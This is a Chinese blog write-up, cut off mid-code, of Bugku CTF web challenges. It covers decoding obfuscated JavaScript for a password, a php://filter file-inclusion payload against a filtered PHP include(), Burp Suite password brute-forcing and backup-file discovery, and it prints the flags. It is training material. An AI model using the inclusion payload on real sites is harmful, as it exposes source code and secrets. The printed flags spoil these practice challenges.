Bugku解题 web (三)

最新推荐文章于 2024-07-30 20:51:00 发布

一个平凡de人

最新推荐文章于 2024-07-30 20:51:00 发布

阅读量997

点赞数

分类专栏：《从0到1：CTFer成长之路》

本文链接：https://blog.csdn.net/weixin_46703850/article/details/115143107

版权

本文详细介绍了Bugku靶场中的多个Web挑战，包括源代码观察、PHP文件包含、密码破解、正则表达式难题、Cookie欺骗、多重解码、SQL注入等实战技巧，每个挑战都提供了解题思路和参考资料。

摘要由CSDN通过智能技术生成

Bugku解题 web

18.web13
19.web14
20.web15
21.web16
22.No one knows regex better than me
23.web20
24.web21(多次解码+满足条件得flag)
25. web22
26.web17
27.web18

介绍:记录解题过程

18.web13

描述: 看看源代码？


<html>
<title>BUGKUCTF-WEB13</title>
<body>
<div style="display:none;"></div>
<form action="index.php" method="post" >
看看源代码？<br>
<br>
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

<input type="input" name="flag" id="flag" /> 
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

将p1,%35%34%61%61%32,p2经url解码得

function checkSubmit(){
   
	var a=document.getElementById("password");
	if("undefined"!=typeof a){
   
		if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
			return!0;
			alert("Error");
			a.focus();return!1
		}
	}
	document.getElementById("levelQuest").onsubmit=checkSubmit;

67d709b2b54aa2aa648cf6e87a7114f1

输入67d709b2b54aa2aa648cf6e87a7114f1得到flag

在这里插入图片描述

19.web14

php 文件包含
构造:

 ?file=php://filter/read=convert.base64-encode/resource=index.php base64

在这里插入图片描述

解码,得到flag

ï»¿<html>
    <title>Bugku-web</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){
   echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
   
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{bb2e63a8f8dde993f68d13fbe147f66b}
?>
</html>

20.web15

描述: 好像需要密码

1.burpSuite 密码:12468
在这里插入图片描述

21.web16

描述: 备份是个好习惯

扫描得index.php.bak文件,下载

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr(